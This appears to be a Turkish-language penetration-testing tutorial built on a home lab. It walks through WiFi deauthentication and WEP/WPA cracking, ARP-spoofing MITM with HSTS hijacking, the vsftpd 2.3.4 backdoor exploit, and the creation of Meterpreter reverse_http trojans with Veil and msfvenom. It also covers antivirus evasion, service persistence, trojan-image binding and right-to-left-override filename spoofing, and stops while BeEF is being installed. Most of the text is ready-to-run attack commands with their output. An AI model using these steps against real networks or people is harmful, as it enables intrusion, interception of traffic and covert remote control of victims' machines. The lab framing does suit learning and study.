Mode:Managed Frequency:2.462 GHz Access Point: 64:6D:6C:65:03:82
Bit Rate=39 Mb/s Tx-Power=16 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=24/70 Signal level=-86 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:1 Invalid misc:2 Missed beacon:0
Networkler üzerindeki trafikleri izlemeye verilen isim sniffing'dir.
- Öncelikle eğer monitör modda değilsek
airmon-ng start wlan0
ile monitör moda geçebiliriz. - Teyit etmek için bir üst başlıktan bildiğimiz
iwconfig wlan0mon
komutunu kullanabiliriz. - Sniffing yapmak için
airodump-ng wlan0mon
komutunu kullanabiliriz. Bu sayede etrafımızdaki ağları ve onlarla ilgili bilgileri görebiliriz.ctrl + c
kombinasyonu ile çıkış yapabiliriz.
# airmon-ng start wlan0
# airodump-ng wlan0mon
airodump-ng sonucu gelen veriler ne anlama gelmektedir?
- BSSID -> MAC Adresi
- PWR -> Power, ağların bize uzaklığıdır. Absolute olarak küçüldükçe bize yaklaşmaktadır. Yani -84 olarak gözüken ilk ağ -85 olana göre daha yakındadır
- Beacons -> Sinyaller
- #Data -> Elimizde olan, kullanabileceğimiz datalar
- CH -> Channel, veri alış-verişi hangi kanaldan yapılıyor onu göstermektedir
- ENC -> Encryption, ağın nasıl şifrelendiğini göstermektedir. WPA2 diğerlerine göre daha güvenlidir
- CIPHER -> Decrypt modeli
- ESSID -> Ağın adıdır
Temel olarak yapı şu şekildedir: airodump-ng --channel <channel> --bssid <bssid> --write <file-name> <interface>
# airodump-ng --channel 11 --bssid 64:6D:6C:65:03:82 --write deneme.txt wlan0mon
komutu ile tek bir bssid'e ait trafiği izlemeye başladık. Ve bize bu ağa bağlı cihazların MAC adresleri (STATION) vb. kritik bilgileri verecektir.--write
argümanını geçersek aldığı bilgileri bir dosyaya yazacaktır.
# airodump-ng --channel 11 --bssid 64:6D:6C:65:03:82 --write deneme.txt wlan0mon
Ağa özel bilgi edindikten sonra gelen veriler bir önceki başlığa ek olarak;
- Frames -> Paket alış-verişindeki paketlerin sayısını verir.
- Bu ekrandaki çıktıdan daha detaylı olan bilgi
--write
argümanı ile yazılan.cap
uzantılı dosya içerisinde bulunur.
Deauth saldırısı kısaca hedef cihaz ile host arasındaki iletişimi keserek (deauthentication paketleri göndererek) hedefi ağdan düşürme saldırısıdır. Bunu da aireplay
aracını kullanarak yapacağız.
Deauth Paketi Nedir?
Bir client (istemci/biz) bağlı olduğu kablosuz ağ ile olan bağlantısını koparmak istediğinde aslında istemci, kablosuz ağa bir deauthentication paketi gönderir ve bağlantıyı sonlandırır. Biz de bu saldırıda başkalarının (hedef) adına modemlere (kaynak) deauthentication paketleri göndereceğiz ve hedefleri ağdan düşüreceğiz.
Temel komut dizimi şu şekildedir: aireplay-ng --deauth <packets> -a <kaynak_mac> -c <hedef_mac> <interface>
Bu saldırıda mantık şu şekilde işlemektedir; kaynak, düşürmeye çalıştığımız hedefe: 'ben senden ayrılacağım' diyor, hedef de kaynağa diyor ki: 'ben senden ayrılacağım'. Aslında ikisi de birbirlerine bir şey demiyor. Biz kendilerinin yerlerine geçip yine kendilerine bir şeyler söylüyoruz gibi düşünebiliriz.
aireplay-ng --deauth 10000 -a 64:6D:6C:65:03:82 -c 0E:80:62:12:28:0D wlan0mon
komutu ile kaynak MAC ve hedef MAC'e deauth paketleri (10000 adet) yolluyoruz.- Eğer kısa süreli ağdan düşsün ve geri bağlansın istersek 5 10 adet paket yollayabiliriz.
Ufak Bir Not:
Bu bölümdeki işlemleri yaparken ağ arayüzümüzün monitör modda olduğundan emin olalım. Aynı zamanda wlan0
ve wlon0mon
argümanlarının kendi ağ arayüzlerinizi temsil ettiğinden lütfen emin olun. 😇
- WEP (Wired Equivalent Privacy)
- Authentication (Kimlik doğrulama) yoktur.
- Kırılması WPA'ye göre daha kolaydır.
- WPA (Wi-Fi Protected Access)
- TKIP,Wpa şifreleme için kabul edildi. Wep’te değişmeyen 64bit ve 128bit şifreleme anahtarı kullanılmıştır.
- TKIP her paket için dinamik olarak yeni bir 128bit anahtar üretir ve bu yönüyle wep’teki zaafiyetlerin önüne geçti.
- Wpa’nın saldırganlara yönelik attığı adım ile saldırganın veri paketlerini değiştirmesini ve değiştirdiği paketlerin gönderilmesini önlemek için tasarlanmış bir ileti bütünlüğü kontrolü(Message Integrity Check) sağlamaktadır.
- WPA2 (Wi-Fi Protected Access)
- Şuan hala kullanımımız da bulunan en güvenilir kablosuz ağ şifrelemesidir.
- TKIP’den, hem gizlilik hem de bütünlük açısından korunmasında önemli ölçü de güçlüdür.
- Aes güçlü güvenlik tabanlı şifreleme içerdiği için 2004’te sertifikası başladı ve 2006 dan itibaren tüm yeni cihazlarda WPA2 sertifikası zorunlu kılındı.
WEP cracking yaparken adım adım şu yolları izleyeceğiz:
- Etraftaki ağları izleyip WEP şifrelemesine sahip bir hedef ağ belirleyeceğiz ->
airodump-ng wlan0mon
- Hedef ağa karşı sniffing yapacağız. Ardından ele geçirdiğimiz bilgileri dosyaya yazacağız ->
airodump-ng --channel <channel> --bssid <bssid> --write <file-name> <interface>
aircrack-ng
sayesinde verileri decrypt ederek şifreyi kırmaya çalışacağız. ->aircrack-ng <filename.cap>
Unutmamalız ki bu işlem paket alış-verişi yapılırken gerçekleşecektir. Bu sebeple bir yandan daairodump-ng
ile hedef ağa dair bilgileri toplamaya devam etmeliyiz. 5000 pakette bir deneme yapacaktır ve bulduğu an bize şifreyi verecektir.- Dönen şifre içerisinden
:
işaretlerini kaldırmalıyız
WEP Cracking yaparken ağ üzerindeki paketleri izlediğimizi söylemiştik. Peki ya hiç paket alış-verişi yoksa ne yapacağız? Kendimizi ağa tanıtıp bizi dinlemesini sağlayabiliriz. Tam bu noktada Fake Auth saldırısı ile kendimizi sahte olarak yetkilendirebilir ve hedef ağa paket enjekte edebiliriz.
Temel komut dizilimi şu şekildedir -> aireplay-ng --fakeauth 0 -a <hedef_mac> -h <kendi_mac_adresimiz> <ag_arayuzu/interface>
Bu komuttan sonra tekrar hedef ağa airodump-ng
ile sniffing yaparsak kendi MAC adresimizi de ağa bağlı cihazlar listesinde görebiliriz. Fakat sadece ağa kendimizi tanıtmış olduk, bu ağı şu an kullanamayız.
Hedef ağ üzerinde paket alış-verişi yaparak veri akışını sağlarız
- Önce hedef ağa Fake Auth ile kendimizi tanıtırız/yetkilendiririz
- Temel komut dizilimi şu şekildedir ->
aireplay-ng --arpreplay -b <hedef_mac> -h <kendi_mac_adresimiz> <ag_arayuzu/interface>
- Bu komuttan sonra hedef ağ üzerinde çok sayıda paket alış-verişi yapılmaya başlanır. Ardından
airodump-ng
ile izlediğimiz ağdan elde ettiğimiz verileri yazdığımız dosyayıaircrack-ng
ile decrypt ederek şifreyi bulmaya çalışırız
Öncelikle Handshake yakalamaya çalışacağız. İçinde muhtemel şifrelerin olduğu bir Wordlist hazırlayacağız ve oluşturduğumuz Handshake'e karşı şifreleri deneyeceğiz
airodump-ng
Handshake'i yeni bir kişi ağa bağlanınca yakalayabilir. 2 şey yapabiliriz.
- 1-) Bekleriz ki yeni birisi ağa bağlansın
- 2-) Mevcut ağa bağlı birini Deauth Saldırısı ile ağdan düşürürüz ve yeniden bağlanmasını sağlarız. Yakalanan Handshake sağ üstte gözükecektir (
airodump-ng
ile hedef ağı izlerken). Yakaladığımız Handshake yazdığımız dosya içerisinde vardır ve oluşturduğumuz Wordlist'i bu Handshake'e karşı deneyebiliriz
Wordlist oluşturmak için CRUNCH adı verilen tool'u kullanabiliriz.
Temel komut dizimi şu şekildedir -> crunch <min> <max> <char> -t <pattern> -o <dosya_adi>
# crunch 8 9 xyz123 -o testwordlist
>>> Crunch will now generate the following amount of data: 115893504 bytes
110 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 11757312
crunch: 100% completed generating output
# cat testwordlist
>>> xxzxx2z3
xxzxx21x
xxzxx21y
xxzxx21z
xxzxx211
xxzxx212
xxzxx213
xxzxx22x
xxzxx22y
.
.
.
.
Oluşturduğumuz Wordlist'i yakaladığımız Handshake'e karşı kullanacağız.
Temel komut dizimi şu şekildedir -> aircrack-ng <yakaladigimiz_handshake_bulunan_dosya.cap> -w <word_list_dosyamiz>
# aircrack-ng deneme-01.cap -w testwordlist
Bu bölümde yapılan uygulamalar ve çalıştırılan komutlar 2 cihazında (biz ve hedef) aynı ağda olduğu varsayılarak yapılmıştır. Hedef olarak Virtualbox üzerinde Windows10 işletim sistemi kurdum ve Network modunu Bridge olarak ayarladım.
Aynı zamanda bu bölümde yazdığım:
192.168.1.218
-> hedef cihazımın IP adresi192.168.1.87
-> benim cihazımın IP adresi192.168.1.0/24
-> yine bana ait IP taraması yaparken kullanacağım adres. Eğer ki siz hedef bilgisayarınızı ve kali cihazınızı sanal makina üzerinden çalıştırıyorsanız Nat Mod'da çalıştırmanız durumunda IP adresleri10.0.1.0/24
ve10.0.1.12
vb. şekilde değişebilecektir 😇 Adreslere değil komutlara, tool'lara ve çalışma mantıklarına odaklanmakta fayda var 😇
Mevcut bağlı olduğumuz ağ üzerindeki IP adreslerini taramamızı sağlayan tool'dur. Temel komut dizimi şu şekildedir -> netdiscover -i <interface> -r <range>
netdiscover -i wlan0 -r 192.168.1.0/24
-> 0/24 sonu 0-24 arasındakiler demek değildir. Şimdilik tüm IP adresleri olarak bilsek yeterlidir.
# netdiscover -i wlan0 -r 192.168.1.0/24 // -i argümanını yollamak zorunda değiliz
>>> Currently scanning: Finished! | Screen View: Unique Hosts
15 Captured ARP Req/Rep packets, from 7 hosts. Total size: 864
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 64:6d:6c:65:03:79 6 360 HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.20 6c:ef:c6:6b:81:1e 3 180 SHENZHEN TWOWING TECHNOLOGIES CO.,LTD.
192.168.1.46 64:76:ba:b5:1b:dc 1 60 Apple, Inc.
192.168.1.21 0e:80:62:12:28:0c 1 60 Unknown vendor
192.168.1.218 08:00:27:e6:e5:59 2 84 PCS Systemtechnik GmbH
192.168.1.36 0e:80:62:eb:2d:50 1 60 Unknown vendor
192.168.1.105 0e:80:62:42:c3:89 1 60 Unknown vendor
Nmap aracını da bağlı olduğumuz ağdaki IP adreslerini bulmak için kullanabiliriz. Temel komut dizimi şu şekildedir -> nmap <IP>
# nmap 192.168.1.0/24
>>> Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-22 19:44 +03
Nmap scan report for 192.168.1.1
Host is up (0.00031s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
443/tcp open https
990/tcp open ftps
MAC Address: 64:6D:6C:65:03:79 (Huawei Technologies)
Nmap scan report for 192.168.1.20
Host is up (0.0015s latency).
All 1000 scanned ports on 192.168.1.20 are closed
MAC Address: 6C:EF:C6:6B:81:1E (Shenzhen Twowing Technologies)
Nmap scan report for 192.168.1.21
Host is up (0.0025s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 0E:80:62:12:28:0C (Unknown)
Nmap scan report for 192.168.1.36
Host is up (0.0020s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
62078/tcp open iphone-sync
MAC Address: 88:E9:FE:EB:2D:50 (Apple)
Nmap scan report for 192.168.1.38
Host is up (0.010s latency).
All 1000 scanned ports on 192.168.1.38 are filtered (828) or closed (172)
MAC Address: 0E:80:62:95:DB:42 (Unknown)
Nmap scan report for 192.168.1.218
Host is up (0.00025s latency).
All 1000 scanned ports on 192.168.1.218 are filtered
MAC Address: 08:00:27:E6:E5:59 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.87
Host is up (0.0000070s latency).
All 1000 scanned ports on 192.168.1.87 are closed
Nmap scan report for 192.168.1.105
Host is up (0.0000090s latency).
All 1000 scanned ports on 192.168.1.105 are closed
Nmap done: 256 IP addresses (8 hosts up) scanned in 64.19 seconds
Ağları incelemek için kullanılan program. Terminale wireshark
yazarak açabiliriz.
MITM saldırısında olay kısaca şu şekilde işlemektedir;
- Kurban, sunucuya bir istek atar ve sunucu ona cevap verir (klasik bir network trafiği)
- Fakat MITM saldırısında biz Kurban'a: "sunucu benim" diyoruz
Sunucuya da: "kurban benim" diyoruz
Bu sayede Network Trafiği bizim üzerimizden akmaktadır ve gelip giden paketlere müdahale edebiliriz - Daha da kısa olarak: Network trafiğinde client ile host arasına girerek trafikten bilgi alıyoruz
- Bu saldırıyı MAC adresleri üzerinden gerçekleştiriyoruz. Bunun sebebini Üst başlıklarda açıklamıştık
ARP'nin ne olduğunu yine üst başlıklarda açıklamıştık. Bu sistemde bir açık bulunmaktadır. ARP isteği almadan ARP cevabı gönderme hakkımız bulunmaktadır. Bu açığı kullanarak MITM saldırısında bulunacağız
Temel komut dizimi şu şekildedir:
arpspoof -i <interface> -t <target_IP> <sunucu_IP/modem_IP>
-> Bu şu anlama gelmektedir: <target_IP>'yi sanki <sunucu_IP/modem_IP>'ymişim gibi kandıracağımarpspoof -i <interface> -t <sunucu_IP/modem_IP> <target_IP>
-> Bu da şu anlama gelmektedir: <sunucu_IP/modem_IP>'yi sanki <target_IP>'ymişim gibi kandıracağım- Yani önce hedefe modemmiş gibi, sonra da modeme hedefmiş gibi davranıyoruz.
- Fakat bu kadar yapmamız yetmez. Bu şekilde bırakırsak hedef'in ağı çöker ve İnternet'e giriş yapamaz. Biz kendi kalimiz üzerinde IP yönlendirmesini aktif hale getirmeliyiz.
- Bunun için de
echo 1 > /proc/sys/net/ipv4/ip_forward
komutunu kullanırız. Bunu Kali'yi her aç-kapa yaptığımızda yapmalıyız
- Bunun için de
- Yukarıdaki işlemlerin her birinin farklı terminallerde çalışması gerektiğini söylemeye gerek yoktur sanırsam 😇
# arpspoof -i eth0 -t 192.168.1.218 192.168.1.1
# arpspoof -i eth0 -t 192.168.1.1 192.168.1.218
# echo 1 > /proc/sys/net/ipv4/ip_forward
systemctl start apache2
komutu ile birlikte Kali makinamızda default gelen apache2 sunucusunu başlatabilirizcd /var/www/html/
komutu ile www klasörüne geçiyoruz. Sunucumuz içerisindeki dosyalar bu klasörden serve edilir. IP'ye istek gelince default olarak bu dizin altındakiindex.html
gösterilir- Makinamızın IP adresine istek atarsak bu dizindeki
index.html
gösterilecektir
- MITM saldırılarını yapmamıza yardımcı olan tool
apt-get install bettercap
komutu ile tool'u makinamıza yüklüyoruz- Tool'u açmak için temel komut dizilimi ->
bettercap -iface <interface>
- Programı açtıktan sonra:
nmap
ile yaptığımız işlemi burada da yapabiliriznet.probe on
komutu ile birlikte ağdaki IP adreslerini ve MAC adreslerini bulabiliriznet.show
komutu ile tüm ağları daha detaylı tablo olarak görebiliriz
set arp.spoof.fullduplex true
-> komutu ile ARP spoof modumuzu etkin hale getirdikset arp.spoof.targets 192.168.1.218
-> komutu ile hedef IP adresimizi belirtiyoruz. Başka hedeflerimiz de varsa,
ile ayırarak argüman olarak yollayabilirizarp.spoof on
-> komutu ile ARP Spoof saldırımızı başlatabiliriz- Hedef makinamızda ARP tablosuna bakarsak, modem (192.168.1.1) ile Kali makinamızın (192.168.1.87) MAC adreslerinin aynı olduğunu göreceğiz
net.sniff on
-> Komutu ile hedef makina(/lar)mızdaki paketleri dinlemeye başlayabiliriz.
-
Aşağıdaki örnek hedef makina dinlenirken
google.com
isteği attığında yakalanmıştır -
Bu yöntemler genelde HTTP sitelerde çalışacaktır. HTTPS siteleri kırmayı aşağıdaki başlıklarda göreceğiz
- Hedefimizin IP adresini belirleriz -> 1-2
- Hedefimize karşı arp spoof başlatırız -> 3
- Ağda ne olup bittiğini izlemeye başlarız -> 4
- HTTPS siteleri HTTP'ye yönlendiririz -> 5
1-) set arp.spoof.fullduplex true
2-) set arp.spoof.targets 192.168.1.218
3-) arp.spoof on
4-) net.sniff on
5-) hstshijack/hstshijack
Port açıklarını, sistem hataları vb. açıkları kullanarak sisteme sızmaya çalışacağız.
Bu bölümdeki komutlarımızı ve tool'larımızı kullanırken hedefimiz Metasploitable (indirme linki örnektir!) olacak.
Metasploitable, üzerinde bilerek açık bulunduran bir sistemdir. Bir sunucu olarak düşünebiliriz. Ağ'daki Metasploitable IP adresini yazarsak üzerinde çalışan web sunucusuna gidecektir. Bunu sanal makinamıza kurmamız gerekmektedir.
username -> msfadmin
password -> msfadmin
Metasploitable içerisinde de Linux komutlarını çalıştırabiliriz.
- Bu adresten Zenmap kurulumu için gerekli yönergeleri görebiliriz
apt-get install alien
ilerpm
paketlerinideb
paketlerine derlememizi sağlayan programı indiriyoruzdpkg -i <paket_adi>
komutu ile yeni oluşan.deb
dosyamızı yüklüyoruz- Artık terminalde
zenmap
yazarsak Zenmap'i açabiliriz
Metasploitable makinamız açıkken üzerinde tarama gerçekleştireceğiz
- Terminale
zenmap
yazdıktan sonra programımız açılacaktır - Sol üstte Target kısmına hedef cihazımızın IP adresini yazıyoruz
- Sağ üstte Profile kısmında ise ne tür bir tarama yapmak istediğimizi belirtiyoruz
- Orta kısımdaki Command kısmı ise
nmap
'te aynı işlemi yapmamız için kullanmamız gereken komut dizilimini göstermektedir. Dilerseknmap
açarak ve ilgili komut dizilimini kullanarak da aynı sonuçları elde edebiliriz
Terminale msfconsole
yazarak tool'u çalıştırabiliriz. İçerisinde bir çok exploit bulundurmaktadır.
Temel komut dizilimi şu şekildedir: use <exploit_adi>
- Metasploitable cihazımıza karşı Zenmap ile taramamız sonucu elde ettiğimiz 21 Portunda çalışan FTP servisinin
vsftpd 2.3.4
versiyonlu açığını kullanacağız
- Bulduğumuz versiyon ile google da basit bir
vsftpd 2.3.4 exploit
şeklinde arama gerçekleştiriyoruz - Örnek adrese buradan erişebilirsiniz
- Aşağıda (örnek adres için geçerli, diğer sitelerde konum değişebilir) ki gibi işaretli alanı kopyalayıp
msfconsole
içerisinde kullanmamız gerekiyor
- Hangi exploiti kullanmak istediğimizi belirtiyoruz
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
show options
ile seçenekleri/parametreleri görebiliriz. Buradaki RHOST hedef IP'yi temsil etmektedir. RPORT ise hedef ile hangi port üzerinden iletişime geçmek istediğimizi belirtir
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
>>> module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
set RHOSTS <IP>
ile Hedef IP'yi,set RPORT <PORT>
ile iletiişim için kullanılacak port numarasını set edebiliriz
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.179
>>> RHOSTS => 192.168.1.179
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
>>> RPORT => 21
exploit
komutunu çalıştırarak hedef cihazı sömürmeye başlayabiliriz
- Diğer exploitleri kullanmak için de basit bir şekilde google'da arama yapabiliriz
Sistemlerde açık bulamadığımız zaman direkt olarak kullanıcılara Trojan ile saldırmayı deneyebiliriz.
Veil Framework bizim için trojan oluşturmamızı sağlayan bir tool'dur. Kurulumu basit bir şekilde kendi dökümantasyonunu kullanarak yapabiliriz. Kurulumu başarılı bir şekilde yaptıysak konsolda veil
komutu ile Veil Framework'u çalıştırabiliriz.
list
ile kullanılabilir araçları listeleyebilirizuse <tool_number>
ile kullanmak istediğimiz araca geçiş yapabiliriz velist
ile o araçtaki Trojanları listeleyebilirizback
ile önceki sayfaya geçebiliriz
# veil # veil'i açtık
Veil>: use 1 # 1. aracı seçtik
Veil/Evasion>: list # araçtaki trojanları listeledik
Veil/Evasion>: use 26 # 26 numaralı trojanı seçtik
[python/meterpreter/rev_http>>]: set LHOST 192.168.1.87 # LHOST değişkenini set ediyoruz, kendi IP adresimiz
[python/meterpreter/rev_http>>]: set LPORT 8080
[python/meterpreter/rev_http>>]: generate # Trojan'ı oluşturuyoruz, bize çıktı olarak nereye oluşturduğunu verecektir
Oluşturduğumuz Trojan dosyasını Veil'in bize gösterdiği path (dizin) altında bulabiliriz
Oluşturduğumuz Trojanların anti-virüs programları tarafından yakalanıp yakalanmadığını test edebilmek için Jotti vb. platformları kullanabiliriz
Oluşturduğumuz Trojanlar'ın option seçeneklerini değiştirmek yakalanma şansımızı azaltacaktır
Meterpreter, ileri düzey bir Metasploit payload tipidir. Dinamik olarak hedef bilgisayarda DLL Enjeksiyon mantığı ile çalışır. Ağda, sahneleyici payloadları ve soketleri kullanarak yerel bilgisayarla haberleşir. Komut geçmişi, komut tamamlama vb. kabiliyetleri bulunur. Hedef bilgisayarda çalışan çok etkili bir komut satırıdır.
Trojanımızı oluşturduk. Bir kullanıcıyı kandırdık ve bir şekilde trojanımızı kullanıcıya açtırdık. Bu aşamada açılan bağlantıyı kendi bilgisayarımızda dinlememiz gerek. Bunun için de msfconsole
kullanacağız
Terminale msfconsole
yazarak programı açabiliriz
use exploit/multi/handler
komutu ile gelen bağlantıları dinlememizi sağlayacak olan exploiti çalıştırabiliriz
set PAYLOAD windows/meterpreter/reverse_http
komutu ile reverse_http için oluşturduğumuz trojanı dinlemeye başlayabiliriz.
show options
ile ilgili konfigürasyonları görebiliriz.
Trojanımızı oluştururken set ettiğimiz LHOST
ve LPORT
'u burada da set ediyoruz. set LHOST <LHOST_IP>
set LHOST 192.168.1.87
Ardından exploit
diyerek exploiti çalıştırabiliriz. İlgili LHOST'da bir session (oturum/bağlantı isteği) oluşturulursa dinlemeye başlayacaktır.
Kurbanlarımıza karşı bağlantı sağladık peki kurbanlarımız mevzuyu çözer ve bizim gönderdiğimiz trojan dosyalarımızı silerlerse ne olur? Bağlantıyı ve erişimi kaybederiz. Bu sebeple bir bağlantı açıldığında kendimizi hedef makinada çalışan bir servise enjekte etmeliyiz.
-
Bağlantı açıldığında
ps
komutu ile hedefin makinasında çalışan servislerin listesini görebiliriz. -
migrate <servis_id>
ile de kendimizi o servise enjekte ederiz. O servis ve hedef makina kapanmadığı sürece erişimimiz olacaktır. Fakat bundan hemen sonra bir alttaki başlığı da işlersek ömür boyu ücretsiz erişimimiz olacaktır 😜ps
ile çalışan servisleri görmek
migrate <session_id>
ile servise enjekte olmak
Hedef bilgisayarda her zaman erişimimiz olmasını istiyorsak trojanımızı bir servis olarak enjekte etmeliyiz.
- Öncelikle msfvenom(isterseniz Veil kullanabilirsiniz tercih meselesi) kullanarak bir trojan oluşturuyorum.
# msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows lhost=192.168.1.87 lport=8080 -f exe -o /var/www/html/servis_trojan.exe
>>> No encoder or badchars specified, outputting raw payload
Payload size: 451 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/servis_trojan.exe
apache2
servisimi başlatıyorum
# systemctl start apache2
- Hedef bilgisayarımda Kali web sunucusuna bağlanıyorum ve trojanı çalıştırıyorum. Aynı zamanda Kali'de de multi handler oluşturuyorum ve bağlantıyı dinlemeye başlıyorum. Buraya kadar her şey zaten yaptığımız gibi.
# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set LHOST 192.168.1.87
msf5 exploit(multi/handler) > set LPORT 8080
msf5 exploit(multi/handler) > exploit
msf5 exploit(multi/handler) > background # session'ı arka plana atar sessions -l diyerek mevcut sessions'ları görebiliriz
- Dilersek
sessions -<session_id>
komutu ile ilgili session'a geçiş yapabiliriz
use exploit/windows/local/persistence
komutu ile yeni göreceğimiz handler'ı kullanıyoruz. Bu modül sayesinde kendi backdoor'umuzu hedef bilgisayara servis olarak enjekte edeceğiz.show options
diyerek ilgili seçenekleri görebiliriz.
msf5 exploit(multi/handler) > use exploit/windows/local/persistence
msf5 exploit(windows/local/persistence) > show options
>>> Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay (in seconds) for persistent payload to keep reconnecting back.
EXE_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
PATH no Path to write payload (%TEMP% by default).
REG_NAME no The name to call registry value for persistence on target host (%RAND% by default).
SESSION yes The session to run this module on.
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM)
VBS_NAME no The filename to use for the VBS persistent script on the target host (%RAND% by default).
Exploit target:
Id Name
-- ----
0 Windows
-
Hacklediğimiz bilgisayar her açılıp kapandıktan sonra internete her bağlandığında x saniye sonra bizimle iletişime geçsin diyoruz. DELAY olarak gözüken parametre bu x saniyeye işaret etmektedir. DELAY kadar saniye geçtikten sonra enjekte ettiğimiz servis bize bağlanmaya çalışacak.
-
Açık olan session'u kullanarak backdoor'u enjekte edeceğiz. Yani bir session'ın açık olması gerekmektedir
-
EXE_NAME parametresi ise servis olarak enjekte ettiğimizde hedef makinada hangi isimde bir servis olarak çalışacağıdır.
set EXE_NAME denemeservisimiz.exe
-
SESSION parametresi ise hangi session'a ait olacağıdır. Ne demiştik, bir session bulunmak zorundadır. Buraya parametre olarak ilgili session numarasını veriyoruz.
set SESSION 1
(benim hedef makinamın SESSION numarası 1) -
Dilersek istediğimiz kendi oluşturduğumuz trojan'ı kullanabiliriz.
show advanced
ile biraz daha ileri seviye opsiyonları açabiliriz. -
EXE::Custom olarak gözüken parametre bizim belirlemek istediğimiz trojanı temsil eder.
set EXE::Custom /var/www/html/servis_trojan.exe
(benim trojanım burada olduğu için bu path'i verdim. Sizinki nerede ise onu vermeniz gerekmektedir. İsterseniz bu aşamayı pas geçebilirsiniz, msfconsole kendi backdoor'unu enjekte edecektir.) -
Ardından
exploit
diyerek exploit'i çalıştırıyoruz ve hedef makinamıza backdoor'u bir servis olarak enjekte ediyor.
-
Tekrar bir multi handler oluşturuyoruz ve hedef makinamızı açıp kapatıyoruz bakalım bağlantıyı yakalayabilecek miyiz :)
Hedefimize trojaınımızı açtırabilmek için onu zararsız bir dosya açtığına ikna etmek işimizi garantiye almak adına önemli olabilir. Bu aşamada oluşturduğumuz Trojan ile Fake bir image birleştireceğiz. Bu sayede hedefimiz resmi açtığında arkada trojanımız çalışacak. Bunun için Fake Image Exploiter kullanacağız.
- Öncelikle Fake Image Exploiter'ı
git clone
komutu kullanarak bilgisayarımıza indiriyoruz
-
cd FakeImageExploiter
komutu ile proje dizinine geçiş yapıyoruz. -
nano settings
diyerek settings dosyasını açıyoruz. Eğer yapmamız gereken konfigürasyon varsa burada yapıyoruz.- PICTURE_EXTENSION yazan kısımda kullanacağımız resmin uzantısını belirliyoruz
- PAYLOAD_EXTENSION yazan kısımda tojanımızın uzantısını belirliyoruz
- APACHE_WEBROOT kısmında kali makinamızdaki web sunucu kök dizinini belirliyoruz
-
./FakeImageExploiter.sh
komutunu çalıştırarak executable dosyayı açıyoruz -
Program çalıştıktan sonra yönergeler doğrultusunda Trojan ile Görseli birleştiriyoruz
Aslında uzantıları değil, dosya isimlerinin görünümlerini değiştireceğiz. Bu işlem için de characters adlı programı kullanacağız.
Makinamızda yüklü değilse apt-get install gnome-characters
komutu ile programı makinamıza yüklüyoruz
Artık programlar altından Characters isimli programımızı çalıştırabiliriz
Arama kısmında right-to-left
yazıyoruz ve right-to-left Override
olan metodu seçiyoruz.
Bizim için şu işlemi yapacaktır;
Uzantısı .jpg.exe
olan uzantıyı .exe.gpj
olarak değiştirecektir. Bu sebeple .jpg.exe
olan uzantımızı öncelikle biz elimizle .gpj.exe
olarak değiştiriyoruz sonrasında bu araç yardımıyla uzantıyı tersten yazdırıyoruz. Çıkan sonuç .exe.jpg
olacaktır
Tersten yazdırmak istediğimiz string'in başladığı yere imleci getirip yapıştır işlemi (ctrl + v) yapıyoruz ve characters programı bizim için stringi tersten yazıyor
- Ben Veil kullanarak kendime bir trojan oluşturdum ve LHOST'u da kendi makinemin IP adresi olarak set ettim
- Ardından oluşturduğum trojanı
/var/www/html
altına taşıdım.systemctl start apache2
diyerek apache2 servisimi başlattım
# systemctl start apache2
# ls
>>> my_test_trojan.exe
Dilersek kali makinemizin IP adresi altından apache sunucumuz altındaki dosyaları listeleyebilir ve değişen dosya adımızı görebiliriz
msfconsole kullanarak bir multi handler oluşturuyorum ve windows makinamda, Kali IP'mi yazarak Kali'nin web sunucusuna bağlanıp ilgili trojanı indiriyorum
Windows makinemde trojan'ı çalıştırıyorum
Ve başarılı bir şekilde Kali makinemde bağlantıyı yakalıyorum
Beef, Browser Exploitation Framework olarak geçmektedir. Browser'ları sömürmemizi sağlayan bir tool'dur. Hedefimizin browser'ında JavaScript kodları çalıştırarak onu sömürmemizi sağlayacaktır.
Bu bölümde denemelerimizi İç Ağlarda yani aynı ağda bağlı olduğumuz sanal Windows makinamıza karşı yapacağız. Dış Ağ saldırılarını alt başlıklarda göreceğiz.
Aynı zamanda bu bölüm içerisinde hedef makinamı oltalarken HTTP'ye sahip site olarak bu dökümanın yazıldığı şu sıralar henüz yapım aşamasında olan, freelance bir iş için 2 kişi ile birlikte yaptığımız bir siteyi ve hedef makinada o açıkken alınan screenshot'ları kullandım. Siteyi geliştirenlerin haberi vardır 😇
Eğer Beef otomatik olarak yüklü gelmez ise Beef Project'ten projeyi git clone https://github.com/beefproject/beef.git
diyerek makinemize indirebiliriz
-
cd beef
diyerek indirdiğimiz proje dizinine giriş yapabiliriz -
./install
